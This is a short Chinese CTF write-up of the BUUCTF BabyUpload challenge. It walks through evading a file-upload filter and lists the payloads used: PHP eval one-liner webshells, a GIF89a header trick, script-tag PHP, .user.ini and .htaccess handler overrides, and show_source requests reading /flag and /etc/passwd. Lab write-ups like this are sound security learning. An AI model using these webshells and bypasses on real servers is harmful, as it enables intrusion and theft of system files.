BUUCTF——[GXYCTF2019]BabyUpload
1.上传嘛,直接丢正常的jpg
文件进服务器
2.发现可以正常上传,并且回显出来啦文件上传的路径
/var/www/html/upload/7df22610744ec51e9cb7a8a8eb674374/1111.jpg
3.尝试上传一句话木马
<?php @eval($POST[123456]);?>
4.通过上面的回显可以看出来,检测到了php
文件,尝试文件头进行绕过
GIF89a
<?php @eval($POST[123456]);?>
5.还是不得行,推测使用了<?php标签进行检测,尝试绕过
GIF89a
<script language="php">eval($_REQUEST[8])</script>
6.发现可以成功上传,尝试修改后缀名php,php3,php5,phtml
7.发现后缀名不能有ph,中间还尝试php%00
,发现php
版本过高不得行,发现可以上传.user.ini
,尝试.user.ini
绕过
auto_prepend_file=555.jpg
8.发现是可以上传的,但是呢无法解析,后面试了.htaccess
发现可以,使用.htaccess
可以成功getshell
.htaccess
文件内容
SetHandler application/x-httpd-php
9.上传文件,文件内容为
GIF89a
<script language="php">eval($_REQUEST[8])</script>
10.成功getshell
11.蚁剑死活连接不上,太致命啦,重启了靶机,重新上传.htaccess
<FilesMatch "jpg">SetHandler application/x-httpd-php</FilesMatch>
12.重新上传木马文件,还是连接不上
GIF89a
<script language="php">eval($_REQUEST[8])</script>
13.通过报错信息,发现禁用了系统函数
14.只能另辟蹊径啦,使用其他函数
show_source()函数
8=show_source('/flag',false);
15.成功读取文件信息
8=show_source('/etc/passwd',false);